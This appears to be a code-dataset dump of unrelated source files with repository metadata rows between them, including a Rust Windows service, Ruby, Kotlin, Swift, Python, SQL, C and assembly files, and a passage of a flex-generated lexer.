// Copyright (c) Microsoft. All rights reserved.
use std::env;
use std::ffi::OsString;
use std::time::Duration;
use clap::crate_name;
use failure::ResultExt;
use futures::future::Future;
use log::{error, info};
use windows_service::service::{
ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, ServiceType,
};
use windows_service::service_control_handler::{
register, ServiceControlHandlerResult, ServiceStatusHandle,
};
use windows_service::{define_windows_service, service_dispatcher};
use crate::app;
use crate::error::{Error, ErrorKind, InitializeErrorReason, ServiceError};
use crate::logging;
use crate::signal;
#[cfg(feature = "runtime-docker")]
type ModuleRuntime = edgelet_docker::DockerModuleRuntime;
#[cfg(feature = "runtime-kubernetes")]
type ModuleRuntime = edgelet_kube::KubeModuleRuntime<
kube_client::ValueToken,
kube_client::HttpClient<hyper_tls::HttpsConnector<hyper::client::HttpConnector>, hyper::Body>,
>;
const RUN_AS_CONSOLE_KEY: &str = "IOTEDGE_RUN_AS_CONSOLE";
const IOTEDGED_SERVICE_NAME: &str = crate_name!();
define_windows_service!(ffi_service_main, iotedge_service_main);
fn iotedge_service_main(args: Vec<OsString>) {
match run_as_service(args) {
Ok(status_handle) => {
// Graceful shutdown
info!("Stopping {} service...", IOTEDGED_SERVICE_NAME);
update_service_state(status_handle, ServiceState::Stopped).unwrap();
info!("Stopped {} service.", IOTEDGED_SERVICE_NAME);
}
Err(err) => {
error!("Error while running service. Quitting.");
logging::log_error(&err);
std::process::exit(1);
}
}
}
fn run_as_service(_: Vec<OsString>) -> Result<ServiceStatusHandle, Error> {
// Configure a Signal Future to alert us if Windows shuts us down.
let windows_signal = signal_future::signal();
let ws_signaler = windows_signal.clone();
// setup the service control handler
let status_handle = register(
IOTEDGED_SERVICE_NAME,
move |control_event| match control_event {
ServiceControl::Shutdown | ServiceControl::Stop => {
info!("{} service is shutting down", IOTEDGED_SERVICE_NAME);
let mut windows_signal = windows_signal.clone();
windows_signal.signal();
ServiceControlHandlerResult::NoError
}
ServiceControl::Interrogate => ServiceControlHandlerResult::NoError,
_ => ServiceControlHandlerResult::NotImplemented,
},
)
.map_err(ServiceError::from)
.context(ErrorKind::Initialize(
InitializeErrorReason::RegisterWindowsService,
))?;
// initialize iotedged
info!("Initializing {} service.", IOTEDGED_SERVICE_NAME);
let settings = app::init_win_svc()?;
let main = super::Main::<ModuleRuntime>::new(settings);
// tell Windows we're all set
update_service_state(status_handle, ServiceState::Running)?;
// start running
info!("Starting {} service.", IOTEDGED_SERVICE_NAME);
main.run_until(move || {
signal::shutdown()
.select(ws_signaler.clone())
.map(move |_| {
info!("Stopping {} service.", IOTEDGED_SERVICE_NAME);
if let Err(err) = update_service_state(status_handle, ServiceState::StopPending) {
error!(
"An error occurred while setting service status to STOP_PENDING: {:?}",
err,
);
}
})
.map_err(|_| ())
})?;
Ok(status_handle)
}
pub fn run_as_console() -> Result<(), Error> {
let settings = app::init()?;
let main = super::Main::<ModuleRuntime>::new(settings);
main.run_until(signal::shutdown)?;
Ok(())
}
pub fn run() -> Result<(), Error> {
// start app as a console app if an environment variable called
// IOTEDGE_RUN_AS_CONSOLE exists
if env::var(RUN_AS_CONSOLE_KEY).is_ok() {
run_as_console()?;
Ok(())
} else {
// Initialize logging before starting the service so that errors can be logged even if the service never starts,
// such as if we couldn't connect to the service controller.
app::init_win_svc_logging();
// kick-off the Windows service dance
service_dispatcher::start(IOTEDGED_SERVICE_NAME, ffi_service_main)
.map_err(ServiceError::from)
.context(ErrorKind::Initialize(
InitializeErrorReason::StartWindowsService,
))?;
Ok(())
}
}
fn update_service_state(
status_handle: ServiceStatusHandle,
current_state: ServiceState,
) -> Result<(), Error> {
status_handle
.set_service_status(ServiceStatus {
service_type: ServiceType::OwnProcess,
current_state,
controls_accepted: ServiceControlAccept::STOP | ServiceControlAccept::SHUTDOWN,
exit_code: ServiceExitCode::Win32(0),
checkpoint: 0,
wait_hint: Duration::default(),
})
.context(ErrorKind::UpdateWindowsServiceState)?;
Ok(())
}
| 33.642857 | 120 | 0.644084 |
9aa1dd824464e73752ce3926525f3e0856c0c944
| 93 |
css
|
CSS
|
source/ui.apps/src/main/content/jcr_root/apps/adobeuxp/components/content/gcList/clientlibs/editor/css/list.css
|
carm-scaffidi/aemwettemplates
|
953d97c47921ed275f166d5dcedbe1da2db9ff8e
|
[
"Apache-2.0"
] | 4 |
2021-05-12T02:13:31.000Z
|
2022-02-15T19:48:33.000Z
|
source/ui.apps/src/main/content/jcr_root/apps/adobeuxp/components/content/gcList/clientlibs/editor/css/list.css
|
carm-scaffidi/aemwettemplates
|
953d97c47921ed275f166d5dcedbe1da2db9ff8e
|
[
"Apache-2.0"
] | 2 |
2022-01-17T21:08:51.000Z
|
2022-02-18T19:03:10.000Z
|
source/ui.apps/src/main/content/jcr_root/apps/adobeuxp/components/content/gcList/clientlibs/editor/css/list.css
|
carm-scaffidi/aemwettemplates
|
953d97c47921ed275f166d5dcedbe1da2db9ff8e
|
[
"Apache-2.0"
] | 3 |
2021-04-14T23:38:09.000Z
|
2022-01-26T18:29:14.000Z
|
.gc-separator{
padding: 10px;
border: .1rem solid #ffffff;
background: #e9e9e9;
}
| 18.6 | 32 | 0.634409 |
af1ae783683c1ddfda64a866d3faf1b7a5a369d3
| 658 |
rb
|
Ruby
|
lib/rango/ext/string.rb
|
deepj/rango
|
93996d0cbc82eee9a1fb3c76376b8e23520fe1fa
|
[
"MIT"
] | 1 |
2016-05-09T10:45:25.000Z
|
2016-05-09T10:45:25.000Z
|
lib/rango/ext/string.rb
|
deepj/rango
|
93996d0cbc82eee9a1fb3c76376b8e23520fe1fa
|
[
"MIT"
] | null | null | null |
lib/rango/ext/string.rb
|
deepj/rango
|
93996d0cbc82eee9a1fb3c76376b8e23520fe1fa
|
[
"MIT"
] | null | null | null |
# encoding: utf-8
class String
# Transform self into titlecased string.
#
# @author Botanicus
# @since 0.0.3
# @return [String] Titlecased string
# @example
# "hello world!".titlecase # => "Hello World!"
def titlecase
self.gsub(/\b./) { $&.upcase }
end
# Transform self to +ColoredString+
# @since 0.0.1
# @example
# "message".colorize.red.bold
# @param [type] name explanation
# @return [String] Transfrom self to +ColoredString+
def colorize
require_relative "colored_string"
ColoredString.new(self)
end
# For Rack
# @since 0.0.2
# @todo Is it still required?
alias_method :each, :each_line
end
| 21.225806 | 54 | 0.653495 |
2d1ba2c5a73715b806f8c3d09ff0168a67479b34
| 1,231 |
kt
|
Kotlin
|
src/main/java/com/hip/kafka/reactor/processors/EventProcessor.kt
|
hip-property/reactor-kafka-spring
|
0ed7b9315ea3c739e11e2802675a2ce5a60e9052
|
[
"Apache-2.0"
] | null | null | null |
src/main/java/com/hip/kafka/reactor/processors/EventProcessor.kt
|
hip-property/reactor-kafka-spring
|
0ed7b9315ea3c739e11e2802675a2ce5a60e9052
|
[
"Apache-2.0"
] | null | null | null |
src/main/java/com/hip/kafka/reactor/processors/EventProcessor.kt
|
hip-property/reactor-kafka-spring
|
0ed7b9315ea3c739e11e2802675a2ce5a60e9052
|
[
"Apache-2.0"
] | null | null | null |
/*-
* =========================================================BeginLicense
* Reactive Kafka
* .
* Copyright (C) 2018 HiP Property
* .
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* ===========================================================EndLicense
*/
package com.hip.kafka.reactor.processors
/**
* Classes that consume messages from the reactor spring should implement this. Eventually this will allow
* spring to find the classes and get meta data from the input and output annotations. Right now this ensures
* that the service locator [com.hip.kafka.reactor.streams.StreamBinder] publish method is called before
* [com.hip.kafka.reactor.EventProcessorRouter] uses it.
*/
interface EventProcessor
| 42.448276 | 110 | 0.680747 |
d01b194cc1ceb879e568efa7cb866100bb2a58e6
| 729 |
rb
|
Ruby
|
lib/tokyo_metro/app/renderer/real_time_infos/meta_datum/train_operation_infos.rb
|
osorubeki-fujita/odpt_tokyo_metro
|
3407a6dbaf0687ddca6478100f43047cad27ebd9
|
[
"MIT"
] | 1 |
2015-06-21T03:53:51.000Z
|
2015-06-21T03:53:51.000Z
|
lib/tokyo_metro/app/renderer/real_time_infos/meta_datum/train_operation_infos.rb
|
osorubeki-fujita/odpt_tokyo_metro
|
3407a6dbaf0687ddca6478100f43047cad27ebd9
|
[
"MIT"
] | null | null | null |
lib/tokyo_metro/app/renderer/real_time_infos/meta_datum/train_operation_infos.rb
|
osorubeki-fujita/odpt_tokyo_metro
|
3407a6dbaf0687ddca6478100f43047cad27ebd9
|
[
"MIT"
] | null | null | null |
class TokyoMetro::App::Renderer::RealTimeInfos::MetaDatum::TrainOperationInfos < TokyoMetro::App::Renderer::RealTimeInfos::MetaDatum::MetaClass
def render
h.render inline: <<-HAML , type: :haml , locals: { this: self }
%li{ class: :train_operation_info }
%ul{ class: :titles }
= this.render_title
%ul{ class: :time_infos_of_category }
= this.render_dc_date_ja
= this.render_next_update_time_ja
%ul{ class: [ :en , :text_en ] }<
= this.render_dc_date_en
= this.render_next_update_time_en
HAML
end
def render_title
render_title_of_each_content( :train_operation , ::Train::Operation::InfoDecorator.common_title_ja , ::Train::Operation::InfoDecorator.common_title_en )
end
end
| 33.136364 | 156 | 0.720165 |
ce09b73c8ec5f8c9e4bc1b3c53f23882c711e342
| 152 |
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/asinh_fastcall.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640 |
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/asinh_fastcall.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600 |
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/asinh_fastcall.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215 |
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_clib
SECTION code_fp_math48
PUBLIC _asinh_fastcall
EXTERN cm48_sdccix_asinh_fastcall
defc _asinh_fastcall = cm48_sdccix_asinh_fastcall
| 15.2 | 49 | 0.888158 |
c4882c81816c0c9030860f78317ea50f7b8d988f
| 1,032 |
h
|
C
|
Hazel/src/Hazel/EngineTimer.h
|
Istenia/Hazel
|
eddfc3fb5ab0db81b8383066ef5f91fa06796003
|
[
"Apache-2.0"
] | null | null | null |
Hazel/src/Hazel/EngineTimer.h
|
Istenia/Hazel
|
eddfc3fb5ab0db81b8383066ef5f91fa06796003
|
[
"Apache-2.0"
] | null | null | null |
Hazel/src/Hazel/EngineTimer.h
|
Istenia/Hazel
|
eddfc3fb5ab0db81b8383066ef5f91fa06796003
|
[
"Apache-2.0"
] | null | null | null |
#pragma once
namespace Hazel
{
class EngineTimer
{
public:
static void Init(void);
static long long GetCurrent(void);
static inline double ToSeconds(long long ticks)
{
return ticks * s_Delta;
}
static inline double ToMilliseconds(long long ticks)
{
return ticks * s_Delta * 1000.0;
}
private:
static double s_Delta;
};
class Timer
{
public:
Timer()
{
m_Start = 0ll;
m_Elapsed = 0ll;
}
void Start()
{
if (m_Start == 0ll)
{
m_Start = EngineTimer::GetCurrent();
}
}
void Stop()
{
if (m_Start != 0ll)
{
m_Elapsed += EngineTimer::GetCurrent() - m_Start;
m_Start = 0ll;
}
}
void Reset()
{
m_Elapsed = 0ll;
m_Start = 0ll;
}
long long GetDelta() const
{
return m_Elapsed;
}
double GetDeltaInSeconds() const
{
return EngineTimer::ToSeconds(m_Elapsed);
}
double GetDeltaInMillisecons() const
{
return EngineTimer::ToMilliseconds(m_Elapsed);
}
private:
long long m_Start;
long long m_Elapsed;
};
}
| 13.063291 | 54 | 0.624031 |
0cdd0af2f9cdd4f1682dfeb1a35ec8ea6569dc39
| 516 |
py
|
Python
|
offer/10-qing-wa-tiao-tai-jie-wen-ti-lcof.py
|
wanglongjiang/leetcode
|
c61d2e719e81575cfb5bde9d64e15cee7cf01ef3
|
[
"MIT"
] | 2 |
2021-03-14T11:38:26.000Z
|
2021-03-14T11:38:30.000Z
|
offer/10-qing-wa-tiao-tai-jie-wen-ti-lcof.py
|
wanglongjiang/leetcode
|
c61d2e719e81575cfb5bde9d64e15cee7cf01ef3
|
[
"MIT"
] | null | null | null |
offer/10-qing-wa-tiao-tai-jie-wen-ti-lcof.py
|
wanglongjiang/leetcode
|
c61d2e719e81575cfb5bde9d64e15cee7cf01ef3
|
[
"MIT"
] | 1 |
2022-01-17T19:33:23.000Z
|
2022-01-17T19:33:23.000Z
|
'''
剑指 Offer 10- II. 青蛙跳台阶问题
一只青蛙一次可以跳上1级台阶,也可以跳上2级台阶。求该青蛙跳上一个 n 级的台阶总共有多少种跳法。
答案需要取模 1e9+7(1000000007),如计算初始结果为:1000000008,请返回 1。
提示:
0 <= n <= 100
'''
'''
思路:递归
'''
class Solution:
def numWays(self, n: int) -> int:
if n == 0:
return 1
if n == 1:
return 1
if n == 2:
return 2
return (self.numWays(n - 1) + self.numWays(n - 2)) % 1000000007
s = Solution()
print(s.numWays(2))
print(s.numWays(5))
print(s.numWays(0))
print(s.numWays(7))
| 15.636364 | 71 | 0.560078 |
ea7588b5fe927cce815b0ed98a00a14a6201b503
| 410 |
kt
|
Kotlin
|
app/src/main/java/com/example/android/navigationadvancedsample/homescreen/HomeViewModel.kt
|
Maksim002/NavigationAdvancedSample
|
211ff10fca7b8579fb71002a8d322758a4277aaf
|
[
"Apache-2.0"
] | null | null | null |
app/src/main/java/com/example/android/navigationadvancedsample/homescreen/HomeViewModel.kt
|
Maksim002/NavigationAdvancedSample
|
211ff10fca7b8579fb71002a8d322758a4277aaf
|
[
"Apache-2.0"
] | null | null | null |
app/src/main/java/com/example/android/navigationadvancedsample/homescreen/HomeViewModel.kt
|
Maksim002/NavigationAdvancedSample
|
211ff10fca7b8579fb71002a8d322758a4277aaf
|
[
"Apache-2.0"
] | null | null | null |
package com.example.android.navigationadvancedsample.homescreen
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.ViewModel
class HomeViewModel : ViewModel() {
val description = MutableLiveData<String>()
init {
if (description.value == null) {
description.postValue("aaaaa")
}
}
fun loadData() {
description.postValue("aaaaa")
}
}
| 20.5 | 63 | 0.67561 |
0b9897a43237e684b6c66f4d6a3b18dc5aaad9da
| 1,217 |
py
|
Python
|
onetouch.py
|
kakoni/insulaudit
|
18fe0802bafe5764882ac4e65e472fdc840baa45
|
[
"MIT"
] | 1 |
2020-11-28T13:23:58.000Z
|
2020-11-28T13:23:58.000Z
|
onetouch.py
|
kakoni/insulaudit
|
18fe0802bafe5764882ac4e65e472fdc840baa45
|
[
"MIT"
] | null | null | null |
onetouch.py
|
kakoni/insulaudit
|
18fe0802bafe5764882ac4e65e472fdc840baa45
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python
import user
import serial
from pprint import pprint, pformat
import insulaudit
from insulaudit.data import glucose
from insulaudit.log import io
from insulaudit.devices import onetouch2
import sys
PORT = '/dev/ttyUSB0'
def get_serial( port, timeout=2 ):
return serial.Serial( port, timeout=timeout )
def init( ):
mini = onetouch2.OneTouchUltra2( PORT, 5 )
print "is open? %s\n timeout: %s" % ( mini.serial.isOpen( ), mini.serial.getTimeout() )
print ""
print "read serial number"
serial = mini.execute( onetouch2.ReadSerial( ) )
print "serial number: %s" % serial
print ""
if serial == "":
print "could not connect"
sys.exit(1)
print ""
print "read firmware number"
firmware = mini.execute( onetouch2.ReadFirmware( ) )
print "firmware: %s" % firmware
print ""
print "RFID"
print mini.execute( onetouch2.ReadRFID( ) )
print "GLUCOSE"
data = mini.read_glucose( )
print data
print "len glucose: %s" % len( data )
head, body = data
output = open( 'sugars-debug.txt', 'w' )
output.write( glucose.format_records( body ) )
output.write( '\n' )
output.close( )
return mini
if __name__ == '__main__':
port = init()
io.info( port )
| 22.537037 | 89 | 0.67461 |
341314ff327ad76d3d84f2c9f57d7e1903497ff9
| 707 |
rs
|
Rust
|
04 - Doc and Variables/comments/src/main.rs
|
RichardJd/aprendendo-rust
|
d16eacd4b8c65840231a717f71b92a4a504e4acc
|
[
"MIT"
] | 6 |
2020-07-09T10:17:25.000Z
|
2022-03-29T21:50:35.000Z
|
04 - Doc and Variables/comments/src/main.rs
|
RichardJd/aprendendo-rust
|
d16eacd4b8c65840231a717f71b92a4a504e4acc
|
[
"MIT"
] | null | null | null |
04 - Doc and Variables/comments/src/main.rs
|
RichardJd/aprendendo-rust
|
d16eacd4b8c65840231a717f71b92a4a504e4acc
|
[
"MIT"
] | null | null | null |
//! Comentario para explicar o modulo, explicar a funcionalidade do projeto
//! Utiliza Markdown
//! # Titulo
//! ## Subtitulo
//! - Isso
//! - eh
//! - incrivel
/// Comentario com 3 caracteres faz parte da documentacao,
/// o terceiro caractere pode mudar dependendo do tipo de texto da documentacao
/// Isso é um comentario de funcao para explicar o que a funcao faz
/// Funcao Principal do projeto
fn main() {
// Nondoc comments - comentário que não faz parte da documentação
// Não é uma boa pratica encher o codigo de comentarios como estou fazendo
/*
Tudo aqui
é um
comentario
*/
// Eh mais comumente utilizado pela comunidade
// o comentario de linha unica
}
| 25.25 | 79 | 0.691655 |
9c5e4f07fe18046d1f8547173321c01a41ff98c7
| 703 |
js
|
JavaScript
|
Documentation/html/search/files_a.js
|
viccsneto/aztec
|
a49e269c53f19d2de22f0d297908c917f36c658d
|
[
"MIT"
] | null | null | null |
Documentation/html/search/files_a.js
|
viccsneto/aztec
|
a49e269c53f19d2de22f0d297908c917f36c658d
|
[
"MIT"
] | null | null | null |
Documentation/html/search/files_a.js
|
viccsneto/aztec
|
a49e269c53f19d2de22f0d297908c917f36c658d
|
[
"MIT"
] | null | null | null |
var searchData=
[
['plane_2ecpp',['Plane.cpp',['../_plane_8cpp.html',1,'']]],
['plane_2eh',['Plane.h',['../_plane_8h.html',1,'']]],
['pointlist2d_2ecpp',['PointList2D.cpp',['../_point_list2_d_8cpp.html',1,'']]],
['pointlist2d_2eh',['PointList2D.h',['../_point_list2_d_8h.html',1,'']]],
['property_2eh',['Property.h',['../_property_8h.html',1,'']]],
['propertylist_2ecpp',['PropertyList.cpp',['../_property_list_8cpp.html',1,'']]],
['propertylist_2eh',['PropertyList.h',['../_property_list_8h.html',1,'']]],
['propertymanager_2ecpp',['PropertyManager.cpp',['../_property_manager_8cpp.html',1,'']]],
['propertymanager_2eh',['PropertyManager.h',['../_property_manager_8h.html',1,'']]]
];
| 54.076923 | 92 | 0.644381 |
e27b55ed7f05af6795c7eed24bf6ea57701b0d04
| 930 |
swift
|
Swift
|
CoronaContact/Scenes/Shared/Guidelines/Quarantine/QuarantineGuidelinesViewController.swift
|
austrianredcross/stopp-corona-ios
|
b75202258e92e6836c703f39544e6d8d0aa57be2
|
[
"Apache-2.0"
] | 179 |
2020-04-24T12:28:22.000Z
|
2022-02-09T19:24:30.000Z
|
CoronaContact/Scenes/Shared/Guidelines/Quarantine/QuarantineGuidelinesViewController.swift
|
austrianredcross/stopp-corona-ios
|
b75202258e92e6836c703f39544e6d8d0aa57be2
|
[
"Apache-2.0"
] | 16 |
2020-04-24T17:41:44.000Z
|
2022-02-21T10:39:51.000Z
|
CoronaContact/Scenes/Shared/Guidelines/Quarantine/QuarantineGuidelinesViewController.swift
|
austrianredcross/stopp-corona-ios
|
b75202258e92e6836c703f39544e6d8d0aa57be2
|
[
"Apache-2.0"
] | 40 |
2020-04-24T12:57:19.000Z
|
2022-02-09T19:24:35.000Z
|
//
// QuarantineGuidelinesViewController.swift
// CoronaContact
//
import Reusable
import UIKit
final class QuarantineGuidelinesViewController: UIViewController, StoryboardBased, ViewModelBased, FlashableScrollIndicators {
var viewModel: QuarantineGuidelinesViewModel?
@IBOutlet var scrollView: UIScrollView!
@IBOutlet var instructionsView: InstructionsView!
@IBOutlet var contactHealthDescriptionLabel: UILabel!
override func viewDidLoad() {
super.viewDidLoad()
setupUI()
}
override func viewDidAppear(_ animated: Bool) {
super.viewDidAppear(animated)
flashScrollIndicators()
}
private func setupUI() {
title = "quarantine_guidelines_title".localized
if let guidelines = viewModel?.guidelines {
instructionsView.instructions = guidelines
} else {
instructionsView.isHidden = true
}
}
}
| 24.473684 | 126 | 0.697849 |
5c45c9e35bf0156172b7d4efbdf0e7d737088022
| 1,069 |
sql
|
SQL
|
baseline lab results.sql
|
deliberato/Obesity-project
|
8f481c567866883a797cf7889546613fe3b838ab
|
[
"MIT"
] | 12 |
2017-10-12T10:51:07.000Z
|
2021-05-31T01:32:34.000Z
|
baseline lab results.sql
|
deliberato/Obesity-project
|
8f481c567866883a797cf7889546613fe3b838ab
|
[
"MIT"
] | null | null | null |
baseline lab results.sql
|
deliberato/Obesity-project
|
8f481c567866883a797cf7889546613fe3b838ab
|
[
"MIT"
] | 4 |
2017-10-14T19:33:39.000Z
|
2020-08-04T10:44:03.000Z
|
-- code for the baseline laboratory result
select
co.icustay_id
, avg(case when itemid in (51300,51301) then valuenum else null end) as avgwbc_baseline
, avg(case when itemid = 51265 then valuenum else null end ) as avgplatelets_baseline
, avg (case when itemid in (50983,50824) then valuenum else null end) as avgsodium_baseline
, avg (case when itemid in (50971,50822) then valuenum else null end) as avgpotassium_baseline
, avg (case when itemid = 51006 then valuenum else null end) as avgbun_baseline
, avg (case when itemid in (50912,51081) then valuenum else null end) as avgcreatinine_baseline
, avg (case when itemid in (50882,50803) then valuenum else null end) as avgbic_baseline
from final_2 co -- replace by the table name created by you in the cohort selection
inner join admissions adm
on co.hadm_id = adm.hadm_id
left join labevents le
on co.subject_id = le.subject_id
and le.charttime between adm.admittime - interval '365' day and adm.admittime - interval '3' day
group by co.subject_id, co.hadm_id, co.icustay_id, adm.admittime
order by icustay_id
| 53.45 | 97 | 0.785781 |
b801ba4eee92ee2dc539f5c22a61256f22bc281a
| 1,214 |
asm
|
Assembly
|
programs/oeis/000/A000542.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1 |
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/000/A000542.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/000/A000542.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A000542: Sum of 8th powers: 1^8 + 2^8 + ... + n^8.
; 0,1,257,6818,72354,462979,2142595,7907396,24684612,67731333,167731333,382090214,812071910,1627802631,3103591687,5666482312,9961449608,16937207049,27957167625,44940730666,70540730666,108363590027,163239463563,241550448844,351625763020,504213653645,713040718221,995470254702,1373272253038,1873518665999,2529618665999,3382509703440,4482021331216,5888429949457,7674223854353,9926099244978,12747209152434,16259688606355,20607480744851,25959490005332,32513090005332,40498015234453,50180667230869,61868867508470,75917091133686,92732216524311,112779828756247,136591115418008,164770395847064,198003326416665,237065826416665,282833770987066,336293499518522,398553189929883,470855151269019,554589089159644,651306400733660,762735557845661,890798639563677,1037629077167998,1205590677167998,1397297990165279,1615638095750175,1863793876017696,2145268852728352,2463913665618977,2823954271888673,3230021949445314,3687185189098690,4200983563527331,4777463663527331,5423217194773092,6145421331081828,6951881422975909,7851076163179685,8852205313570310
add $0,1
mov $2,2
mov $3,6
lpb $0
sub $0,1
add $2,$3
mov $1,$2
mul $1,5
mov $3,$0
pow $3,8
lpe
sub $1,40
div $1,5
| 71.411765 | 1,033 | 0.861614 |
164b6044bb56c76f27502476a97a7f69d3fee8ed
| 78,475 |
c
|
C
|
ncgen3/ncgenyy.c
|
nopoe/netcdf-4.1.3-with-cmake
|
43cb3e27ce78611a5f9b464ed7588408294289e4
|
[
"NetCDF"
] | 1 |
2021-12-01T07:24:43.000Z
|
2021-12-01T07:24:43.000Z
|
ncgen3/ncgenyy.c
|
nopoe/netcdf-4.1.3-with-cmake
|
43cb3e27ce78611a5f9b464ed7588408294289e4
|
[
"NetCDF"
] | null | null | null |
ncgen3/ncgenyy.c
|
nopoe/netcdf-4.1.3-with-cmake
|
43cb3e27ce78611a5f9b464ed7588408294289e4
|
[
"NetCDF"
] | 3 |
2019-04-29T14:57:37.000Z
|
2021-12-01T07:24:44.000Z
|
#line 3 "lex.ncg.c"
#define YY_INT_ALIGNED short int
/* A lexical scanner generated by flex */
#define yy_create_buffer ncg_create_buffer
#define yy_delete_buffer ncg_delete_buffer
#define yy_flex_debug ncg_flex_debug
#define yy_init_buffer ncg_init_buffer
#define yy_flush_buffer ncg_flush_buffer
#define yy_load_buffer_state ncg_load_buffer_state
#define yy_switch_to_buffer ncg_switch_to_buffer
#define yyin ncgin
#define yyleng ncgleng
#define yylex ncglex
#define yylineno ncglineno
#define yyout ncgout
#define yyrestart ncgrestart
#define yytext ncgtext
#define yywrap ncgwrap
#define yyalloc ncgalloc
#define yyrealloc ncgrealloc
#define yyfree ncgfree
#define FLEX_SCANNER
#define YY_FLEX_MAJOR_VERSION 2
#define YY_FLEX_MINOR_VERSION 5
#define YY_FLEX_SUBMINOR_VERSION 35
#if YY_FLEX_SUBMINOR_VERSION > 0
#define FLEX_BETA
#endif
/* First, we deal with platform-specific or compiler-specific issues. */
/* begin standard C headers. */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
/* end standard C headers. */
/* flex integer type definitions */
#ifndef FLEXINT_H
#define FLEXINT_H
/* C99 systems have <inttypes.h>. Non-C99 systems may or may not. */
#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
/* C99 says to define __STDC_LIMIT_MACROS before including stdint.h,
* if you want the limit (max/min) macros for int types.
*/
#ifndef __STDC_LIMIT_MACROS
#define __STDC_LIMIT_MACROS 1
#endif
#include <inttypes.h>
typedef int8_t flex_int8_t;
typedef uint8_t flex_uint8_t;
typedef int16_t flex_int16_t;
typedef uint16_t flex_uint16_t;
typedef int32_t flex_int32_t;
typedef uint32_t flex_uint32_t;
#else
typedef signed char flex_int8_t;
typedef short int flex_int16_t;
typedef int flex_int32_t;
typedef unsigned char flex_uint8_t;
typedef unsigned short int flex_uint16_t;
typedef unsigned int flex_uint32_t;
#endif /* ! C99 */
/* Limits of integral types. */
#ifndef INT8_MIN
#define INT8_MIN (-128)
#endif
#ifndef INT16_MIN
#define INT16_MIN (-32767-1)
#endif
#ifndef INT32_MIN
#define INT32_MIN (-2147483647-1)
#endif
#ifndef INT8_MAX
#define INT8_MAX (127)
#endif
#ifndef INT16_MAX
#define INT16_MAX (32767)
#endif
#ifndef INT32_MAX
#define INT32_MAX (2147483647)
#endif
#ifndef UINT8_MAX
#define UINT8_MAX (255U)
#endif
#ifndef UINT16_MAX
#define UINT16_MAX (65535U)
#endif
#ifndef UINT32_MAX
#define UINT32_MAX (4294967295U)
#endif
#endif /* ! FLEXINT_H */
#ifdef __cplusplus
/* The "const" storage-class-modifier is valid. */
#define YY_USE_CONST
#else /* ! __cplusplus */
/* C99 requires __STDC__ to be defined as 1. */
#if defined (__STDC__)
#define YY_USE_CONST
#endif /* defined (__STDC__) */
#endif /* ! __cplusplus */
#ifdef YY_USE_CONST
#define yyconst const
#else
#define yyconst
#endif
/* Returned upon end-of-file. */
#define YY_NULL 0
/* Promotes a possibly negative, possibly signed char to an unsigned
* integer for use as an array index. If the signed char is negative,
* we want to instead treat it as an 8-bit unsigned char, hence the
* double cast.
*/
#define YY_SC_TO_UI(c) ((unsigned int) (unsigned char) c)
/* Enter a start condition. This macro really ought to take a parameter,
* but we do it the disgusting crufty way forced on us by the ()-less
* definition of BEGIN.
*/
#define BEGIN (yy_start) = 1 + 2 *
/* Translate the current start state into a value that can be later handed
* to BEGIN to return to the state. The YYSTATE alias is for lex
* compatibility.
*/
#define YY_START (((yy_start) - 1) / 2)
#define YYSTATE YY_START
/* Action number for EOF rule of a given start state. */
#define YY_STATE_EOF(state) (YY_END_OF_BUFFER + state + 1)
/* Special action meaning "start processing a new file". */
#define YY_NEW_FILE ncgrestart(ncgin )
#define YY_END_OF_BUFFER_CHAR 0
/* Size of default input buffer. */
#ifndef YY_BUF_SIZE
#define YY_BUF_SIZE 16384
#endif
/* The state buf must be large enough to hold one state per character in the main buffer.
*/
#define YY_STATE_BUF_SIZE ((YY_BUF_SIZE + 2) * sizeof(yy_state_type))
#ifndef YY_TYPEDEF_YY_BUFFER_STATE
#define YY_TYPEDEF_YY_BUFFER_STATE
typedef struct yy_buffer_state *YY_BUFFER_STATE;
#endif
extern int ncgleng;
extern FILE *ncgin, *ncgout;
#define EOB_ACT_CONTINUE_SCAN 0
#define EOB_ACT_END_OF_FILE 1
#define EOB_ACT_LAST_MATCH 2
#define YY_LESS_LINENO(n)
/* Return all but the first "n" matched characters back to the input stream. */
#define yyless(n) \
do \
{ \
/* Undo effects of setting up ncgtext. */ \
int yyless_macro_arg = (n); \
YY_LESS_LINENO(yyless_macro_arg);\
*yy_cp = (yy_hold_char); \
YY_RESTORE_YY_MORE_OFFSET \
(yy_c_buf_p) = yy_cp = yy_bp + yyless_macro_arg - YY_MORE_ADJ; \
YY_DO_BEFORE_ACTION; /* set up ncgtext again */ \
} \
while ( 0 )
#define unput(c) yyunput( c, (yytext_ptr) )
#ifndef YY_TYPEDEF_YY_SIZE_T
